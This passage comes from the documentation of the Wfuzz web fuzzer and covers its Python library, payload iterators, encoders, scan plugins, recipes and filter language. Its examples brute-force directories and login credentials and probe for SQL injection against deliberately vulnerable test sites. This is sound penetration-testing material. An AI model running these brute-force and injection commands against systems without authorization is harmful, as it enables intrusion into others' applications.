12 W          184 Ch        \"CVS\"\n\n    Total time: 5.519253\n    Processed Requests: 950\n    Filtered Requests: 945\n    Requests/sec.: 172.1247\n\n* Wfuzz library::\n\n    >>> import wfuzz\n    >>> for r in wfuzz.get_payload(range(100)).fuzz(hl=[97], url=\"http://testphp.vulnweb.com/listproducts.php?cat=FUZZ\"):\n    ...     print r\n    ... \n    00125:  C=200    102 L       434 W         7011 Ch        \"1\"\n    00126:  C=200     99 L       302 W         4442 Ch        \"2\"\n\nother tools included in the wfuzz framework.\n\n* Wfuzz payload generator::\n\n    $ wfpayload -z range,0-10\n    0\n    1\n    2\n    3\n    4\n    5\n    6\n    7\n    8\n    9\n    10\n\n* Wfuzz encoder/decoder::\n    \n    $ wfencode -e md5 test\n    098f6bcd4621d373cade4e832627b4f6\n\n* You can also run wfuzz from the official docker image::\n\n    $ docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz\n    ********************************************************\n    * Wfuzz 3.0.3 - The Web Fuzzer                         *\n    *                                                      *\n    * Version up to 1.4c coded by:                         *\n    * Christian Martorella (cmartorella@edge-security.com) *\n    * Carlos del ojo (deepbit@gmail.com)                   *\n    *                                                      *\n    * Version 1.4d to 3.0.3 coded by:                      *\n    * Xavier Mendez (xmendez@edge-security.com)            *\n    ********************************************************\n\n    Usage:  wfuzz [options] -z payload,params <url>\n\n            FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.\n            FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.\n\n\n    Examples:\n            wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z\n            wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}\n            wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ\n\n    Type wfuzz -h for further information or --help for advanced usage.\n\n\nHow it works\n------------\n\nWfuzz it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.\n\nA payload in Wfuzz is a source of data.\n\nThis simple concept allows any input to be injected in any field of an HTTP request, allowing to perform complex web security attacks in different web application components such as: parameters, authentication, forms, directories/files, headers, etc.\n\nWfuzz is more than a web brute forcer:\n\n- Wfuzz's web application vulnerability scanner is supported by plugins.\n- Wfuzz is a completely modular framework and makes it easy for even the newest of Python developers to contribute. Building plugins is simple and takes little more than a few minutes.\n- Wfuzz exposes a simple language interface to the previous HTTP requests/responses performed using Wfuzz or other tools, such as Burp. This allows you to perform manual and semi-automatic tests with full context and understanding of your actions, without relying on a web application scanner underlying implementation.\n\nInstallation Guide\n==================\n\n.. toctree::\t\n   :maxdepth: 4\n\n   user/installation\n   user/breaking\n\nUser Guide\n==================\n\n.. toctree::\n   :maxdepth: 4\n\n   user/getting\n   user/basicusage\n   user/advanced\n   user/wfpayload\n\nLibrary Guide\t\n==================\t\n\n.. toctree::\t\n   :maxdepth: 4\n\n   library/guide\n"
  },
  {
    "path": "docs/library/guide.rst",
    "content": "Python library\n===============\n\nWfuzz's Python library allows to automate tasks and integrate Wfuzz into new tools or scripts.\n\nLibrary Options\n---------------\n\nAll options that are available within the Wfuzz command line interface are available as library options:\n\n======================== =====================================================================================\nCLI Option               Library Option\n======================== =====================================================================================\n<URL>                    url=\"url\"\n--recipe <filename>      recipe=[\"filename\"]\n--oF <filename>          save=\"filename\"\n-f filename,printer      printer=(\"filename\", \"printer\")\n--dry-run                transport=\"dryrun\"\n-p addr                  proxies=[(\"ip\",\"port\",\"type\")]\n-t N                     concurrent=N\n-s N                     delay=0.0\n-R depth                 rleve=depth\n--follow                 follow=True\n-Z                       scanmode=True\n--req-delay N            req_delay=0\n--conn-delay N           conn_delay=0.0\n--no-cache               no_cache=True\n--script=<plugins>       script=\"plugins\"\n--script-args n1=v1,...  script_args={n1: v1}\n-m iterator              iterator=\"iterator\"\n-z payload               payloads=[(\"name\",{default=\"\",encoder=[\"md5\"]},slice=\"\"),]\n-V alltype               allvars=\"alltype\"\n-X method                method=\"method\"\n--hc/hl/hw/hh N[,N]+     hc/hl/hw/hh=[N,N]\n--sc/sl/sw/sh N[,N]+     sc/sl/sw/sh=[N,N]\n--ss/hs regex            ss/hs=\"regex\"\n--filter <filter>        filter=\"filter exp\"\n--prefilter <filter>     prefilter=[\"prefilter exp\"]\n-b cookie                cookie=[\"cookie1=value1\",]\n-d postdata              postdata=\"postdata\"\n-H header                headers=[(\"header1\", \"value1\"),]\n--basic/ntlm/digest auth auth=(\"basic\", \"user:pass\")\n======================== =====================================================================================\n\nThese options can be used in the main library interfaces: fuzz, payload or session indistinctly.\n\nFuzzing a URL\n-------------\n\nFuzzing a URL with wfuzz library is very simple. Firstly, import the wfuzz module::\n\n>>> import wfuzz\n\nNow, let's try to fuzz a web page to look for hidden content, such as directories. For this example, let's use Acunetix's testphp (http://testphp.vulnweb.com/)::\n\n    >>> import wfuzz\n    >>> for r in wfuzz.fuzz(url=\"http://testphp.vulnweb.com/FUZZ\", hc=[404], payloads=[(\"file\",dict(fn=\"wordlist/general/common.txt\"))]):\n    ...     print r\n    ... \n    00060:  C=301      7 L        12 W          184 Ch        \"admin\"\n    00183:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n    00429:  C=301      7 L        12 W          184 Ch        \"images\"\n    ...\n\n\nNow, we have a FuzzResult object called r. We can get all the information we need from this object.\n\nFuzzSession object\n------------------\n\nA FuzzSession object has all the methods of the main wfuzz API.\n\nThe FuzzSession object allows you to persist certain parameters across fuzzing sessions::\n\n    >>> import wfuzz\n    >>> s = wfuzz.FuzzSession(url=\"http://testphp.vulnweb.com/FUZZ\")\n    >>> for r in s.fuzz(hc=[404], payloads=[(\"file\",dict(fn=\"wordlist/general/common.txt\"))]):\n    ...     print r\n    ... \n    00060:  C=301      7 L        12 W          184 Ch        \"admin\"\n    00183:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n    ...\n\nFuzzSession can also be used as context manager::\n\n    >>> with wfuzz.FuzzSession(url=\"http://testphp.vulnweb.com/FUZZ\", hc=[404], payloads=[(\"file\",dict(fn=\"wordlist/general/common.txt\"))]) as s:\n    ...     for r in s.fuzz():\n    ...             print r\n    ... \n    00295:  C=301      7 L        12 W          184 Ch        \"admin\"\n    00418:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n\n\nGet payload\n-----------\n\nThe get_payload function generates a Wfuzz payload from a Python iterable. It is a quick and flexible way of getting a payload programmatically without using Wfuzz payloads plugins.\n\nGenerating a new payload and start fuzzing is really simple::\n\n    >>> import wfuzz\n    >>> s = wfuzz.get_payload(range(5))\n    >>> for r in s.fuzz(url=\"http://testphp.vulnweb.com/FUZZ\"):\n    ...     print r\n    ... \n    00012:  C=404      7 L        12 W          168 Ch        \"0\"\n    00013:  C=404      7 L        12 W          168 Ch        \"1\"\n    00014:  C=404      7 L        12 W          168 Ch        \"2\"\n    00015:  C=404      7 L        12 W          168 Ch        \"3\"\n    00016:  C=404      7 L        12 W          168 Ch        \"4\"\n\nThe get_payloads method can be used when various payloads are needed::\n\n    >>> import wfuzz\n    >>> s = wfuzz.get_payloads([range(5), [\"a\",\"b\"]])\n    >>> for r in s.fuzz(url=\"http://testphp.vulnweb.com/FUZZ/FUZ2Z\"):\n    ...     print r\n    ... \n    00028:  C=404      7 L        12 W          168 Ch        \"4 - b\"\n    00027:  C=404      7 L        12 W          168 Ch        \"4 - a\"\n    00024:  C=404      7 L        12 W          168 Ch        \"2 - b\"\n    00026:  C=404      7 L        12 W          168 Ch        \"3 - b\"\n    00025:  C=404      7 L        12 W          168 Ch        \"3 - a\"\n    00022:  C=404      7 L        12 W          168 Ch        \"1 - b\"\n    00021:  C=404      7 L        12 W          168 Ch        \"1 - a\"\n    00020:  C=404      7 L        12 W          168 Ch        \"0 - b\"\n    00023:  C=404      7 L        12 W          168 Ch        \"2 - a\"\n    00019:  C=404      7 L        12 W          168 Ch        \"0 - a\"\n\nGet session\n-----------\n\nThe get_session function generates a Wfuzz session object from the specified command line. It is a quick way of getting a payload programmatically from a string representing CLI options::\n\n    $ python\n    >>> import wfuzz\n    >>> s = wfuzz.get_session(\"-z range,0-10 http://testphp.vulnweb.com/FUZZ\")\n    >>> for r in s.fuzz():\n    ...     print r\n    ... \n    00002:  C=404      7 L        12 W          168 Ch        \"1\"\n    00011:  C=404      7 L        12 W          168 Ch        \"10\"\n    00008:  C=404      7 L        12 W          168 Ch        \"7\"\n    00001:  C=404      7 L        12 W          168 Ch        \"0\"\n    00003:  C=404      7 L        12 W          168 Ch        \"2\"\n    00004:  C=404      7 L        12 W          168 Ch        \"3\"\n    00005:  C=404      7 L        12 W          168 Ch        \"4\"\n    00006:  C=404      7 L        12 W          168 Ch        \"5\"\n    00007:  C=404      7 L        12 W          168 Ch        \"6\"\n    00009:  C=404      7 L        12 W          168 Ch        \"8\"\n    00010:  C=404      7 L        12 W          168 Ch        \"9\"\n\nInteracting with the results\n----------------------------\n\nOnce a Wfuzz result is available the grammar defined in the filter language can be used to work with the results' values. For example::\n\n    $ python\n    >>> import wfuzz\n\n    >>> with wfuzz.get_session(\"-z list --zD test -u http://testphp.vulnweb.com/userinfo.php -d uname=FUZZ&pass=FUZZ\") as s:\n    ...     for r in s.fuzz():\n    ...             print(r.history.cookies.response)\n    ...             print(r.history.params.all)\n    ...             print(r.history.params.post)\n    ...             print(r.history.params.post.uname)\n    ...             print(r.history.params.post['pass'])\n    {'login': 'test%2Ftest'}\n    {'uname': 'test', 'pass': 'test'}\n    {'uname': 'test', 'pass': 'test'}\n    test\n    test\n    >>>\n\nThe result object has also a method to evaluate a language expression::\n\n    >> print(r.eval(\"r.cookies.response\"))\n    login=test%2Ftest\n"
  },
  {
    "path": "docs/make.bat",
    "content": "@ECHO OFF\r\n\r\npushd %~dp0\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset SOURCEDIR=.\r\nset BUILDDIR=_build\r\nset SPHINXPROJ=Wfuzz\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\n%SPHINXBUILD% >NUL 2>NUL\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\n%SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\ngoto end\r\n\r\n:help\r\n%SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%\r\n\r\n:end\r\npopd\r\n"
  },
  {
    "path": "docs/user/advanced.rst",
    "content": "Advanced Usage\n===============\n\nWfuzz global options\n--------------------\n\nWfuzz global options can be tweaked by modifying the \"wfuzz.ini\" at the user's home directory::\n\n    ~/.wfuzz$ cat wfuzz.ini \n\n    [connection]\n    concurrent = 10\n    conn_delay = 90\n    req_delay = 90\n    retries = 3\n    user-agent = Wfuzz/2.2\n\n    [general]\n    default_printer = raw\n    cancel_on_plugin_except = 1\n    concurrent_plugins = 3\n    encode_space = 1\n    lookup_dirs = .,/home/xxx/tools/fuzzdb\n\n\nA useful option is \"lookup_dirs\". This option will indicate Wfuzz, which directories to look for files, avoiding to specify a full path in the command line. For example, when fuzzing using a dictionary.\n\nIterators: Combining payloads\n-----------------------------\n\nPayloads can be combined by using the -m parameter, in wfuzz this functionality is provided by what is called iterators, the following types are provided by default::\n\n    $ wfuzz -e iterators\n\n    Available iterators:\n\n    Name    | Summary                                                                           \n    ----------------------------------------------------------------------------------------------\n    product | Returns an iterator cartesian product of input iterables.                         \n    zip     | Returns an iterator that aggregates elements from each of the iterables.          \n    chain   | Returns an iterator returns elements from the first iterable until it is exhaust  \n            | ed, then proceeds to the next iterable, until all of the iterables are exhausted  \n\n\nBelow are shown some examples using two different payloads containing the elements a,b,c and 1,2,3 respectively and how they can be combined using the existing iterators.\n\n* zip::\n\n    wfuzz -z list,a-b-c -z list,1-2-3 -m zip http://google.com/FUZZ/FUZ2Z\n\n    00001:  C=404      9 L        32 W          276 Ch        \"a - 1\"\n    00002:  C=404      9 L        32 W          276 Ch        \"c - 3\"\n    00003:  C=404      9 L        32 W          276 Ch        \"b - 2\"\n\n* chain::\n\n    wfuzz -z list,a-b-c -z list,1-2-3 -m chain http://google.com/FUZZ\n\n    00001:  C=404      9 L        32 W          280 Ch        \"b\"\n    00002:  C=404      9 L        32 W          280 Ch        \"a\"\n    00003:  C=404      9 L        32 W          280 Ch        \"c\"\n    00004:  C=404      9 L        32 W          280 Ch        \"1\"\n    00006:  C=404      9 L        32 W          280 Ch        \"3\"\n    00005:  C=404      9 L        32 W          280 Ch        \"2\"\n\n* product::\n\n    wfuzz -z list,a-b-c -z list,1-2-3 http://mysite.com/FUZZ/FUZ2Z\n\n    00001:  C=404      9 L        32 W          276 Ch        \"a - 2\"\n    00002:  C=404      9 L        32 W          276 Ch        \"a - 1\"\n    00005:  C=404      9 L        32 W          276 Ch        \"b - 2\"\n    00004:  C=404      9 L        32 W          276 Ch        \"a - 3\"\n    00008:  C=404      9 L        32 W          276 Ch        \"c - 2\"\n    00003:  C=404      9 L        32 W          276 Ch        \"b - 1\"\n    00007:  C=404      9 L        32 W          276 Ch        \"c - 1\"\n    00006:  C=404      9 L        32 W          276 Ch        \"b - 3\"\n    00009:  C=404      9 L        32 W          276 Ch        \"c - 3\"\n\nEncoders\n--------\n\nIn Wfuzz, a encoder is a transformation of a payload from one format to another. A list of the available encoders can be obtained using the following command::\n\n    $ wfuzz -e encoders\n\nSpecifying an encoder\n^^^^^^^^^^^^^^^^^^^^^^\n\nEncoders are specified as a payload parameter. There are two equivalent ways of specifying an encoder within a payload:\n\n* The long way::\n\n    $ wfuzz -z file --zP fn=wordlist/general/common.txt,encoder=md5  http://testphp.vulnweb.com/FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/FUZZ\n    Total requests: 950\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00002:  C=404      7 L        12 W          168 Ch        \"b4b147bc522828731f1a016bfa72c073\"\n    00003:  C=404      7 L        12 W          168 Ch        \"96a3be3cf272e017046d1b2674a52bd3\"\n    00004:  C=404      7 L        12 W          168 Ch        \"a2ef406e2c2351e0b9e80029c909242d\"\n    ...\n\n* The not so long way using the zE command line switch::\n\n    $ wfuzz -z file --zD wordlist/general/common.txt --zE md5 http://testphp.vulnweb.com/FUZZ\n\n* The not so long way::\n\n    $ wfuzz -z file,wordlist/general/common.txt,md5 http://testphp.vulnweb.com/FUZZ\n\nSpecifying multiple encoders\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n* Several encoders can be specified at once, using \"-\" as a separator::\n\n    $ wfuzz -z list,1-2-3,md5-sha1-none http://webscantest.com/FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://webscantest.com/FUZZ\n    Total requests: 9\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00000:  C=200     38 L       121 W         1486 Ch        \"da4b9237bacccdf19c0760cab7aec4a8359010b0\"\n    00001:  C=200     38 L       121 W         1486 Ch        \"c4ca4238a0b923820dcc509a6f75849b\"\n    00002:  C=200     38 L       121 W         1486 Ch        \"3\"\n    00003:  C=200     38 L       121 W         1486 Ch        \"77de68daecd823babbb58edb1c8e14d7106e83bb\"\n    00004:  C=200     38 L       121 W         1486 Ch        \"1\"\n    00005:  C=200     38 L       121 W         1486 Ch        \"356a192b7913b04c54574d18c28d46e6395428ab\"\n    00006:  C=200     38 L       121 W         1486 Ch        \"eccbc87e4b5ce2fe28308fd9f2a7baf3\"\n    00007:  C=200     38 L       121 W         1486 Ch        \"2\"\n    00008:  C=200     38 L       121 W         1486 Ch        \"c81e728d9d4c2f636f067f89cc14862c\"\n\n    Total time: 0.428943\n    Processed Requests: 9\n    Filtered Requests: 0\n    Requests/sec.: 20.98180\n\n* Encoders can also be chained using the \"@\" char::\n\n    $ wfuzz -z list,1-2-3,sha1-sha1@none http://webscantest.com/FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://webscantest.com/FUZZ\n    Total requests: 6\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00000:  C=200     38 L       121 W         1486 Ch        \"356a192b7913b04c54574d18c28d46e6395428ab\"\n    00001:  C=200     38 L       121 W         1486 Ch        \"356a192b7913b04c54574d18c28d46e6395428ab\"\n    00002:  C=200     38 L       121 W         1486 Ch        \"77de68daecd823babbb58edb1c8e14d7106e83bb\"\n    00003:  C=200     38 L       121 W         1486 Ch        \"da4b9237bacccdf19c0760cab7aec4a8359010b0\"\n    00004:  C=200     38 L       121 W         1486 Ch        \"da4b9237bacccdf19c0760cab7aec4a8359010b0\"\n    00005:  C=200     38 L       121 W         1486 Ch        \"77de68daecd823babbb58edb1c8e14d7106e83bb\"\n\nThe above \"sha1@none\" parameter specification will encode the payload using the sha1 encoder and the result will be encoded again using the none encoder.\n\n* Encoders are grouped by categories. This allows to select several encoders by category, for example::\n\n    $ wfuzz -z list,1-2-3,hashes http://webscantest.com/FUZZ\n\n    00000:  C=200     38 L       121 W         1486 Ch        \"Mw==\"\n    00001:  C=200     38 L       121 W         1486 Ch        \"c81e728d9d4c2f636f067f89cc14862c\"\n    00002:  C=200     38 L       121 W         1486 Ch        \"77de68daecd823babbb58edb1c8e14d7106e83bb\"\n    00003:  C=200     38 L       121 W         1486 Ch        \"da4b9237bacccdf19c0760cab7aec4a8359010b0\"\n    00004:  C=200     38 L       121 W         1486 Ch        \"c4ca4238a0b923820dcc509a6f75849b\"\n    00005:  C=200     38 L       121 W         1486 Ch        \"356a192b7913b04c54574d18c28d46e6395428ab\"\n    00006:  C=200     38 L       121 W         1486 Ch        \"MQ==\"\n    00007:  C=200     38 L       121 W         1486 Ch        \"Mg==\"\n    00008:  C=200     38 L       121 W         1486 Ch        \"eccbc87e4b5ce2fe28308fd9f2a7baf3\"\n\nScan/Parse Plugins\n------------------\n\nWfuzz is more than a Web Content Scanner. Wfuzz could help you to secure your web applications by finding and exploiting web application vulnerabilities.\n\nWfuzz's web application vulnerability scanner is supported by plugins. A list of scanning plugins can be obtained using the following command::\n\n    $ wfuzz -e scripts\n\nScripts are grouped in categories. A script could belong to several categories at the same time.\n\nThere are two general categories:\n\n* passive: Passive scripts analyse existing requests and responses without performing new requests.\n* active: Active scripts perform new requests to the application to probe it for vulnerabilities.\n\nAdditional categories are:\n\n* discovery: Discovery plugins help crawling a website by automatically enqueuing discovered content to wfuzz request's pool.\n\nThe default category groups the plugins that are run by default.\n\nScanning mode is indicated when using the --script parameter followed by the selected plugins. Plugins could be selected by category or name, wildcards can also be used.\n\nThe -A switch is an alias for --script=default.\n\nScript's detailed information can be obtained using --scrip-help, for example::\n\n    $ wfuzz --script-help=default\n\nAn example, parsing a \"robots.txt\" file is shown below::\n\n    $ wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://www.webscantest.com/FUZZ\n    Total requests: 1\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00001:  C=200      6 L        10 W          101 Ch        \"robots.txt\"\n    |_ Plugin robots enqueued 4 more requests (rlevel=1)\n    00002:  C=200     40 L       117 W         1528 Ch        \"/osrun/\"\n    00003:  C=200     55 L       132 W         1849 Ch        \"/cal_endar/\"\n    00004:  C=200     40 L       123 W         1611 Ch        \"/crawlsnags/\"\n    00005:  C=200     85 L       197 W         3486 Ch        \"/static/\"\n\n    Total time: 0\n    Processed Requests: 5 (1 + 4)\n    Filtered Requests: 0\n    Requests/sec.: 0\n\nIn order to not scan the same requests (with the same parameters) over an over again, there is a cache,the cache can be disabled with the --no-cache flag.\n\nFor example, if we target a web server with the same URL but different parameter values, we get::\n\n    $ wfuzz -z range --zD 0-3 -z list --zD \"'\" -u http://testphp.vulnweb.com/artists.php?artist=FUZZFUZ2Z -A\n\n    000000004:   0.195s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"3 - '\"                                                                                                                                    \n    |_  Error identified: Warning: mysql_fetch_array()\n    000000001:   0.198s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"0 - '\"                                                                                                                                    \n    000000002:   0.198s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"1 - '\"                                                                                                                                    \n    000000003:   0.198s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"2 - '\"                                                                                                                                    \n\nBut, if we do the same but disabling the cache::\n\n    $ wfuzz -z range --zD 0-3 -z list --zD \"'\" -u http://testphp.vulnweb.com/artists.php?artist=FUZZFUZ2Z -A --no-cache\n\n    000000004:   1.170s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"3 - '\"                                                                                                                                    \n    |_  Error identified: Warning: mysql_fetch_array()\n    000000002:   1.173s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"1 - '\"                                                                                                                                    \n    |_  Error identified: Warning: mysql_fetch_array()\n    000000001:   1.174s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"0 - '\"                                                                                                                                    \n    |_  Error identified: Warning: mysql_fetch_array()\n    000000003:   1.173s       200        101 L    287 W    3986 Ch     nginx/1.4.1                                                       \"2 - '\"                                                                                                                                    \n    |_  Error identified: Warning: mysql_fetch_array()\n\nCustom scripts\n^^^^^^^^^^^^^^\n\nIf you would like to create customs scripts, place them in your home directory. In order to leverage this feature, a directory named \"scripts\" must be created underneath the \".wfuzz\" directory.\n\n\nRecipes\n-------\n\nYou could save Wfuzz command line options to a file for later execution or for easy distribution. \n\nTo create a recipe, execute the following::\n\n    $ wfuzz --script=robots -z list,robots.txt --dump-recipe /tmp/recipe http://www.webscantest.com/FUZZ\n\nThen, execute Wfuzz using the stored options by using the \"--recipe\" option::\n\n    $ wfuzz --recipe /tmp/recipe \n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://www.webscantest.com/FUZZ\n    Total requests: 1\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00001:  C=200      6 L        10 W          101 Ch        \"robots.txt\"\n    |_ Plugin robots enqueued 4 more requests (rlevel=1)\n    00002:  C=200     40 L       117 W         1528 Ch        \"/osrun/\"\n    00003:  C=200     55 L       132 W         1849 Ch        \"/cal_endar/\"\n    00004:  C=200     40 L       123 W         1611 Ch        \"/crawlsnags/\"\n    00005:  C=200     85 L       197 W         3486 Ch        \"/static/\"\n\n    Total time: 1.341176\n    Processed Requests: 5 (1 + 4)\n    Filtered Requests: 0\n    Requests/sec.: 3.728071\n\nYou can combine a recipe with additional command line options, for example::\n\n    $ wfuzz --recipe /tmp/recipe -b cookie1=value\n\nSeveral recipes can also be combined::\n\n    $ wfuzz --recipe /tmp/recipe --recipe /tmp/recipe2\n\nIn case of repeated options, command line options have precedence over options included in the recipe. Last recipe has precedence.\n\nConnect to an specific host\n---------------------------------------\n\nThe --ip option can be used to connect to a specific host and port instead of the URL's host and port::\n\n    $ wfuzz -z range,1-1 --ip 127.0.0.1 http://www.google.com/anything/FUZZ\n\nThis useful, for example, to test if a reverse proxy can be manipulated into misrouting requests to a destination of our choice.\n\n\nScan Mode: Ignore Errors and Exceptions\n---------------------------------------\n\nIn the event of a network problem (e.g. DNS failure, refused connection, etc.), Wfuzz will raise an exception and stop execution as shown below::\n\n    $ wfuzz -z list,support-web-none http://FUZZ.google.com/\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://FUZZ.google.com/\n    Total requests: 3\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n\n    Fatal exception: Pycurl error 6: Could not resolve host: none.google.com\n\n\nYou can tell Wfuzz to continue execution, ignoring errors by supplying the -Z switch. The latter command in scan mode will get the following results::\n\n    $ wfuzz -z list,support-web-none -Z http://FUZZ.google.com/\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://FUZZ.google.com/\n    Total requests: 3\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00002:  C=404     11 L        72 W         1561 Ch        \"web\"\n    00003:  C=XXX      0 L         0 W            0 Ch        \"none! Pycurl error 6: Could not resolve host: none.google.com\"\n    00001:  C=301      6 L        14 W          224 Ch        \"support\"\n\n    Total time: 1.064229\n    Processed Requests: 3\n    Filtered Requests: 0\n    Requests/sec.: 2.818939\n\nErrors are shown as a result with the XXX code, the payload used followed by an exclamation mark and the companion exception message. Error codes can be filtered using the \"XXX\" expression. For example::\n\n    $ wfuzz -z list,support-web-none -Z --hc XXX http://FUZZ.google.com/\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://FUZZ.google.com/\n    Total requests: 3\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00002:  C=404     11 L        72 W         1561 Ch        \"web\"\n    00001:  C=301      6 L        14 W          224 Ch        \"support\"\n\n    Total time: 0.288635\n    Processed Requests: 3\n    Filtered Requests: 1\n    Requests/sec.: 10.39374\n\nWhen Wfuzz is used in scan mode, HTTP requests will take longer time due to network error timeouts. These can be tweaked using the --req-delay and --conn-delay command line parameters.\n\nTimeouts\n^^^^^^^^\n\nYou can tell Wfuzz to stop waiting for server to response a connection request after a given number of seconds --conn-delay and also the maximum number of seconds that the response is allowed to take using --req-delay parameter.\n\nThese timeouts are really handy when you are using Wfuzz to brute force resources behind a proxy, ports, hostnames, virtual hosts, etc.\n\nFilter Language\n---------------\n\nWfuzz's filter language grammar is build using `pyparsing <http://pyparsing.wikispaces.com/>`_, therefore it must be installed before using the command line parameters \"--filter, --prefilter, --slice, --field and --efield\".\n\nThe information about the filter language can be also obtained executing::\n\n    wfuzz --filter-help\n\nA filter expression must be built using the following symbols and operators:\n\n* Boolean Operators\n\n\"and\", \"or\" and \"not\" operators could be used to build conditional expressions.\n\n* Expression Operators\n\nExpressions operators such as \"= != < > >= <=\" could be used to check values. Additionally, the following operators for matching text are available:\n\n============ ====================================================================\nOperator     Description\n============ ====================================================================\n=~           True when the regular expression specified matches the value.\n~            Equivalent to Python's \"str2\" in \"str1\" (case insensitive)\n!~           Equivalent to Python's \"str2\" not in \"str1\" (case insensitive)\n============ ====================================================================\n\nAlso, assignment operators:\n\n============ ====================================================================\nOperator     Description\n============ ====================================================================\n:=           Assigns a value\n=+           Concatenates value at the left\n=-           Concatenates value at the right\n============ ====================================================================\n\nWhere values could be:\n\n* Basic primitives:\n\n============ ====================\nLong Name    Description\n============ ====================\n'string'     Quoted string\n0..9+        Integer values\nXXX          HTTP request error code\nBBB          Baseline\n============ ====================\n\n* Values can also be modified using the following operators:\n\n================================ ======================= =============================================\nName                             Short version           Description\n================================ ======================= =============================================\nvalue|unquote()                  value|un()              Unquotes the value\nvalue|lower()                    value|l()               lower-case of the value\nvalue|upper()                                            upper-case of the value\nvalue|encode('encoder', 'value') value|e('enc', 'val')   Returns encoder.encode(value)\nvalue|decode('decoder', 'value') value|d('dec', 'val')   Returns encoder.decode(value)\nvalue|replace('what', 'with')    value|r('what', 'with') Returns value replacing what for with\nvalue|unique()                   value|u()               Returns True if a value is unique.\nvalue|startswith('value')        value|sw('value')       Returns true if the value string starts with param\nvalue|gregex('expression')       value|gre('exp')        Returns first regex group that matches in value\nvalue|diff(expression)                                   Returns diff comparison between value and expression\n================================ ======================= =============================================\n\n* When a FuzzResult is available, you could perform runtime introspection of the objects using the following symbols\n\n============ ============== =============================================\nName         Short version  Description\n============ ============== =============================================\nurl                         Wfuzz's result HTTP request url\ndescription                 Wfuzz's result description\nnres                        Wfuzz's result identifier\ncode         c              Wfuzz's result HTTP response's code\nchars        h              Wfuzz's result HTTP response chars\nlines        l              Wfuzz's result HTTP response lines\nwords        w              Wfuzz's result HTTP response words\nmd5                         Wfuzz's result HTTP response md5 hash\nhistory      r              Wfuzz's result associated FuzzRequest object\nplugins                     Wfuzz's plugins scan results \n============ ============== =============================================\n\nFuzzRequest object's attribute (you need to use the r. prefix) such as:\n\n============================ =============================================\nName                         Description\n============================ =============================================\nurl                          HTTP request's url\nurlp                         HTTP request's parsed url (see section below).\nmethod                       HTTP request's verb\nscheme                       HTTP request's scheme\nhost                         HTTP request's host\ncontent                      HTTP response's content\nraw_content                  HTTP response's content including headers\ncookies.all                  All HTTP request and response cookies\ncookies.request              HTTP requests cookieS\ncookies.response             HTTP response cookies\ncookies.request.<<name>>     Specified HTTP request cookie\ncookies.response.<<name>>    Specified HTTP response cookie\nheaders.all                  All HTTP request and response headers\nheaders.request              HTTP request headers\nheaders.response             HTTP response headers\nheaders.request.<<name>>     Specified HTTP request header case insensitive\nheaders.response.<<name>>    Specified HTTP response header insensitive\nparams.all                   All HTTP request GET and POST parameters\nparams.get                   All HTTP request GET parameters\nparams.post                  HTTP request POST parameters in returned as a dictionary\nparams.raw_post              HTTP request POST parameters 